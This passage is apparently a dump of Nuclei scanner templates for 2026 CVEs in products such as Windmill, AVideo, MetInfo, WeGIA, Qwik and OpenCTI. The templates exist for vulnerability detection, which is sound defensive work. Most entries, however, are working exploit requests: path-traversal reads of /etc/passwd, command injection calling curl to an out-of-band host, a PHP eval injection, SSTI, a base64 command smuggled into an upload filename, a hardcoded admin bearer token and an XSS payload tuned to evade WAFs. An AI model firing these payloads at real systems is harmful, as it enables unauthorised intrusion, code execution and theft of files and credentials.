4a0a0047304502206d1fc60d9036c1cbf570bf034f3e8649cee4467d8a04c23c560e7d80b66bbc420221008c9c1b592f42bf2f2bdc527dd2d02ff12881c8cdb895764a88fddfb3d9c26292:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-29066.yaml","vuln_id":"cve-2026-29066"},{"raw":"id: CVE-2026-29059\n\ninfo:\n  name: Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n    Update to version 1.603.3 or later.\n  reference:\n    - https://github.com/Chocapikk/Windfall\n    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29059\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-29059\n    epss-score: 0.03053\n    epss-percentile: 0.87614\n    cwe-id: CWE-22\n  metadata:\n    max-request: 4\n    vendor: windmill\n    product: windmill\n    verified: true\n    shodan-query: http.html:\"Windmill\" http.html:\"svelte-global-loader\"\n    fofa-query: app=\"Windmill\"\n  tags: cve,cve2026,windmill,nextcloud,lfi,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n      - \"{{BaseURL}}/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n      - \"{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd\"\n      - \"{{BaseURL}}/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"root:x:0:0:\"\n\n      - type: word\n        part: body\n        words:\n          - \"<!DOCTYPE\"\n          - \"Err:\"\n        condition: or\n        negative: true\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100a61d773d1f7aeb71941f26e41320a58a34e94d1a61e7b303cec5f81c1a82751d022100c80fea86eace099da7cc714c8ccae5c8b2b3ad810317b52291cb656749c3b512:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-29059.yaml","vuln_id":"cve-2026-29059"},{"raw":"id: CVE-2026-29058\n\ninfo:\n  name: WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection\n  author: ashish-cybersec\n  severity: critical\n  description: |\n    AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.\n  remediation: |\n    Upgrade to version 7.0 or later.\n  reference:\n    - https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-9j26-99jh-v26q\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29058\n    - https://github.com/WWBN/AVideo-Encoder\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-29058\n    epss-score: 0.0894\n    epss-percentile: 0.95259\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: wwbn\n    product: avideo\n    shodan-query: http.html:\"AVideo\"\n  tags: cve,cve2026,avideo,encoder,rce,oast,unauth,intrusive,vkev\n\nvariables:\n  oast: \"http://{{rand_text_alpha(6)}}.example/`curl${IFS}{{interactsh-url}}`\"\n\nhttp:\n  - raw:\n      - |\n        GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100cdf6e078bd69b129b1d2b70944659e60c09c12c5acdb4a3ad512426eddc64c20022100daff46f0eeb566be9cea121fe32e0bfaf7c5ac7d9ae6ab034b37a96106eb8f14:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-29058.yaml","vuln_id":"cve-2026-29058"},{"raw":"id: CVE-2026-29014\n\ninfo:\n  name: MetInfo CMS <= 8.1 - Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n   MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.\n  impact: |\n   Remote attackers can execute arbitrary code, gaining full control over the affected server.\n  remediation: |\n   Update to the latest version beyond 8.1.\n  reference:\n    - https://karmainsecurity.com/KIS-2026-06\n    - https://www.metinfo.cn\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-29014\n  classification:\n    cve-id: CVE-2026-29014\n    epss-score: 0.3949\n    epss-percentile: 0.98616\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-94\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"MetInfo\"\n    fofa-query: app=\"MetInfo\"\n  tags: cve,cve2026,metinfo,rce,php,vkev\n\nvariables:\n  num1: \"{{rand_int(800000, 999999)}}\"\n  num2: \"{{rand_int(800000, 999999)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"MetInfo\", \"mituo\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;../config/tables</EventKey><FromUserName>{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}</FromUserName></x>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"success\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n        C: {{base64(\"echo {{num1}}*{{num2}};die();\")}}\n\n        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;Array</EventKey></x>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"{{result}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402207928369af0ed5bd1da21b8ad6fe2ad51d991e17663d53f87c66f814a215d98b202202cb3f0c24872c017e5823c923afd05c124842e4cb025b9f0b28d37be7ae4fcbb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-29014.yaml","vuln_id":"cve-2026-29014"},{"raw":"id: CVE-2026-28496\n\ninfo:\n  name: FOSSBilling - Server-Side Template Injection\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.\n  impact: |\n    Administrators can execute arbitrary code and disclose sensitive information, potentially compromising the entire system.\n  remediation: |\n    Upgrade to version 0.8.0 or later.\n  reference:\n    - https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce\n    - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc\n    - https://x.com/pyn3rd/status/2069260345571696951\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"FOSSBilling\"\n  tags: cve,cve2026,ssti,rce,sqli,fossbilling,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/system/system/string_render HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"_tpl\":\"{{ guest.getDi().db.getCell(\\\"SELECT @@version\\\") }}\",\"_try\":false}\n\n    skip-variables-check: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"\n          - '{\"result\":\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - \"[0-9]+\\\\.[0-9]+\\\\.[0-9]+[\\\\-a-zA-Z0-9]*\"\n# digest: 4a0a0047304502207311a0e1ebdd716f6a81c0f4d492b4ea6dd7dd111bef5cbd4dca09c2568f8b9c02210092e85389def43f9a51da3a4d5266ccedd6ab7240bb66655f21c43d1f82c3d4ca:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-28496.yaml","vuln_id":"cve-2026-28496"},{"raw":"id: CVE-2026-28414\n\ninfo:\n  name: Gradio - Absolute Path Traversal\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.\n  impact: |\n   Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n   Upgrade to version 6.7 or later.\n  reference:\n    - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28414\n  classification:\n    cve-id: CVE-2026-28414\n    epss-score: 0.03059\n    epss-percentile: 0.87636\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-36\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: gradio-app\n    product: gradio\n    shodan-query: 'http.title:\"Gradio\"'\n    fofa-query: 'title=\"Gradio\" || body=\"gradio-app\"'\n  tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(to_lower(body), \"window.gradio_config\", \"__gradio_mode__\")'\n        condition: and\n\n  - raw:\n      - |\n        GET /static//windows/win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/plain\")'\n          - 'contains_all(to_lower(body), \"[fonts]\", \"[extensions]\")'\n        condition: and\n# digest: 4a0a00473045022100840d31bc2080befbb220eaba98620294cb7bf2ee0fd71530f5dd524dd9dc059f022057f42ee0fb7a0512c8aafbcbe105ae9220253c2e2bb942f29258786b651421f8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-28414.yaml","vuln_id":"cve-2026-28414"},{"raw":"id: CVE-2026-28411\n\ninfo:\n  name: WeGIA < 3.6.5 - Unauthenticated Authentication Bypass via extract()\n  author: str4k3r,0x_Akoko\n  severity: critical\n  description: |\n    WeGIA < 3.6.5 contains an authentication bypass caused by unsafe use of extract() on $_REQUEST, letting unauthenticated attackers bypass authentication and access protected areas, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can bypass authentication and gain unauthorized administrative access.\n  remediation: |\n    Upgrade to version 3.6.5 or later.\n  reference:\n    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-jg7w-3wg7-4vhh\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28411\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-28411\n    epss-score: 0.02699\n    epss-percentile: 0.85971\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: labredescefetrj\n    product: wegia\n    shodan-query: http.html:\"WeGIA\"\n    fofa-query: body=\"WeGIA\"\n  tags: cve,cve2026,wegia,auth-bypass,extract,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /WeGIA/html/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cpf=admin&c=true&id_pessoa=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(header, \"PHPSESSID\")'\n          - 'contains(header, \"home.php\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /WeGIA/html/home.php HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"wegia\", \"menu\", \"processo\", \"funcionario\")'\n          - '!contains_any(tolower(body), \"login\", \"cpf\", \"senha\")'\n        condition: and\n# digest: 4a0a00473045022100eff34e714ebf4f7e15237625d84674a5e8b03acb2937d96c4cffb48a52aee9ce02201f7dc2a8d30e0146a6e02db4e935e154280f6a6f793c067416af7fe1c840c2f6:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-28411.yaml","vuln_id":"cve-2026-28411"},{"raw":"id: CVE-2026-28409\n\ninfo:\n  name: WeGIA <= 3.6.4 - Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands\n  impact: |\n    Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.\n  remediation: |\n    Upgrade to version 3.6.5 or later.\n  reference:\n    - https://cxsecurity.com/issue/WLB-2026030009\n    - https://github.com/LabRedesCefetRJ/WeGIA\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28409\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-28409\n    epss-score: 0.0362\n    epss-percentile: 0.8955\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: labredescefetRJ\n    product: wegia\n    shodan-query: http.html:\"WeGIA\"\n    fofa-query: body=\"WeGIA\"\n  tags: cve,cve2026,wegia,rce,vkev\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /WeGIA/html/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        c=true&cpf=admin&id_pessoa=1\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        group: 1\n        regex:\n          - 'PHPSESSID=([a-zA-Z0-9]+)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: PHPSESSID={{session}}\n        Content-Type: multipart/form-data; boundary=----test0boundary\n\n        ------test0boundary\n        Content-Disposition: form-data; name=\"usuario\"\n\n        1\n        ------test0boundary\n        Content-Disposition: form-data; name=\"id_pessoa\"\n\n        1\n        ------test0boundary\n        Content-Disposition: form-data; name=\"import\"; filename=\"dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz\"\n        Content-Type: application/gzip\n\n        {{hex_decode(\"1f8b08000000000000030300000000000000000000\")}}\n        ------test0boundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: PHPSESSID={{session}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        GET /WeGIA/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502202ebeb6af9dbcd89d890463b679a55d57d2f69f95a03d808fd7f31fb92f24a200022100d982501780d8e0eb9fc516bc3c981e6257514aa8458fa771725abec1da3c4eb3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-28409.yaml","vuln_id":"cve-2026-28409"},{"raw":"id: CVE-2026-28358\n\ninfo:\n  name: NocoDB - User Enumeration\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3.\n  impact: |\n    Attackers can enumerate registered users, potentially aiding further targeted attacks.\n  remediation: Update to version 0.301.3 or later.\n  reference:\n    - https://github.com/nocodb/nocodb/security/advisories/GHSA-387m-j3p9-3php\n    - https://github.com/nocodb/nocodb/releases/tag/0.301.3\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28358\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-28358\n    cwe-id: CWE-204\n    epss-score: 0.00651\n    epss-percentile: 0.51343\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: nocodb\n    product: nocodb\n    shodan-query: http.favicon.hash:-2017596142\n  tags: cve,cve2026,user-enum,nocodb\n\nvariables:\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/auth/password/forgot HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, text/plain, */*\n        Content-Type: application/json\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/forgot-password\n\n        {\"email\":\"{{email}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Your email has not been registered\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b0ab5793a01f91a0fff51b4c1cef8c05dcbc9d6333015b29dd0c4e0511eba90d022100fb341bc9375dcc5c5e39a9f3dd6e0e99395795b735f84fabb63f253c84a09f82:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-28358.yaml","vuln_id":"cve-2026-28358"},{"raw":"id: CVE-2026-28288\n\ninfo:\n  name: Dify User Enumeration via Observable Response Discrepancy\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    Dify is an open-source LLM app development platform. Prior to 1.9.0, responses from the Dify API to existing and non-existent accounts differ, allowing an attacker to enumerate email addresses registered with Dify. Version 1.9.0 fixes the issue.\n  impact: |\n    Attackers can enumerate registered email addresses, potentially aiding further targeted attacks or phishing.\n  remediation: |\n    Update to version 1.9.0 or later.\n  reference:\n    - https://github.com/langgenius/dify/security/advisories/GHSA-9qpf-wcv3-w3qx\n    - https://github.com/langgenius/dify/issues/24323\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-28288\n    epss-score: 0.00689\n    epss-percentile: 0.52852\n    cwe-id: CWE-204\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,dify,user-enum,info-leak\n\nhttp:\n  - raw:\n      - |\n        POST /console/api/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"email\":\"nonexistent{{randstr}}@example.com\",\"password\":\"{{randstr}}\",\"language\":\"en-US\",\"remember_me\":true}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Account not found\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a0047304502201547d901ea711945f3965d978599963f21385c0ea9ee90eac76cba90f036eeaa022100958e58cf909f1a0e3895fe1e7e7efe15918d6aae4ea6bb2775ee9a2dce572b04:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-28288.yaml","vuln_id":"cve-2026-28288"},{"raw":"id: CVE-2026-28141\n\ninfo:\n  name: NextGEN Gallery <= 4.2.3 - Reflected Cross-Site Scripting\n  author: str4k3r\n  severity: high\n  description: |\n    NextGEN Gallery through 4.2.3 reflects a URL-decoded `ngg_tag` route value into the generated tag page without the context-specific escaping added in 4.2.4. An unauthenticated attacker can break out of the tag context and inject an auto-executing script. This template injects an `svg onload` payload carrying a random nonce and matches its unencoded reflection; slash and backtick syntax keep the request off common WAF signatures.\n  impact: |\n    An unauthenticated attacker can execute arbitrary JavaScript in a victim's browser when they open the crafted gallery-tag link, enabling session theft, credential capture, and actions performed as the victim.\n  remediation: |\n    Update NextGEN Gallery to version 4.2.4 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28141\n    - https://patchstack.com/database/wordpress/plugin/nextgen-gallery/vulnerability/wordpress-nextgen-gallery-plugin-4-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve\n    - https://wordpress.org/plugins/nextgen-gallery/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-28141\n    epss-score: 0.00467\n    epss-percentile: 0.40594\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: imagely\n    product: nextgen-gallery\n    framework: wordpress\n    fofa-query: body=\"NextGEN Gallery\"\n    publicwww-query: \"/wp-content/plugins/nextgen-gallery/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,nextgen-gallery,imagely,xss\n\nvariables:\n  marker: \"{{rand_base(6)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ngg_tag/cve-2026-28141%22%3E%3Csvg%2Fonload%3Dalert%60{{marker}}%60%3E/\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<svg/onload=alert`{{marker}}`>\"\n          - \"NextGEN\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n# digest: 4a0a004730450221009bfc974e6098d3be1f50f466849df5d5f57dc4ca991552824defe8c1bf90f7940220560b70430360e0f082b94277c5437fa31c057feb4f20f1d135d73c726e266ba4:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-28141.yaml","vuln_id":"cve-2026-28141"},{"raw":"id: CVE-2026-27971\n\ninfo:\n  name: Qwik - Unauthenticated RCE via server$ Deserialization\n  author: omarkurt\n  severity: critical\n  description: |\n    Qwik <=1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require() availability at runtime.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.\n  remediation: |\n    Update to version 1.19.1 or later.\n  reference:\n    - https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm\n    - https://vulnerabletarget.com/VT-2026-27971\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-27971\n    epss-score: 0.05478\n    epss-percentile: 0.92788\n    cwe-id: CWE-502\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: http.html:\"q:version\"\n    fofa-query: body=\"q:version\"\n  tags: cve,cve2026,qwik,rce,deserialization,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /?qfunc=sync HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/qwik-json\n        X-QRL: sync\n        Origin: {{RootURL}}\n\n        {\"_objs\":[\"\\u0002./node_modules/cross-spawn/index#sync\",\"cat\",\"/etc/passwd\",[\"2\"],[\"0\",\"1\",\"3\"]],\"_entry\":\"4\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"regex('root:.*:0:0:', body)\"\n          - \"status_code == 200\"\n          - \"contains(header, 'application/qwik-json')\"\n        condition: and\n# digest: 490a0046304402207ab68a7f5d4bcd59e35f6053991f7f16686787c01dcf1391d22547351982c6cd02205e878d758e877558010ca79ec3e8d648b97e223c43dade91daddf0adee1eb9f0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27971.yaml","vuln_id":"cve-2026-27971"},{"raw":"id: CVE-2026-27960\n\ninfo:\n  name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.\n  impact: |\n    An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.\n  remediation: |\n    Upgrade OpenCTI to version 6.9.13 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27960\n    - https://www.pruva.dev/reproductions/REPRO-2026-00314\n    - https://www.pruva.dev/reproductions/REPRO-2026-00331\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-27960\n    epss-score: 0.07086\n    epss-percentile: 0.94245\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: opencti\n    product: opencti\n  tags: cve,cve2026,opencti,auth-bypass,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f\n\n        {\"query\":\"{ me { user_email name } }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"\\\"data\\\"\\\\s*:\\\\s*\\\\{\\\\s*\\\"me\\\"\\\\s*:\\\\s*\\\\{[^{}]*\\\"user_email\\\"\\\\s*:\\\\s*\\\"[^\\\"]+\\\"\", body)'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.data.me.user_email'\n# digest: 4a0a00473045022100d95bbf29ec665df4227c8b48d6d10386b6fc628cc1d62090a4a33b09837de8590220707e46384e102aa8b0e8f25723d4bfb7cecd88ce9c865d6a46715d228840401b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27960.yaml","vuln_id":"cve-2026-27960"},{"raw":"id: CVE-2026-27944\n\ninfo:\n  name: Nginx UI < 2.3.3 - Information Disclosure\n  author: omarkurt\n  severity: critical\n  description: |\n    Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.\n  impact: |\n    Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.\n  remediation: |\n    Upgrade to version 2.3.3 or later.\n  reference:\n    - https://github.com/advisories/GHSA-g9w5-qffc-6762\n    - https://www.tenable.com/security/research/tra-2026-17\n    - https://vulnerabletarget.com/VT-2026-27944\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-27944\n    epss-score: 0.22842\n    epss-percentile: 0.97744\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: 0xjacky\n    product: nginx-ui\n    shodan-query: http.title:\"nginx ui\"\n    fofa-query: title=\"nginx ui\"\n  tags: 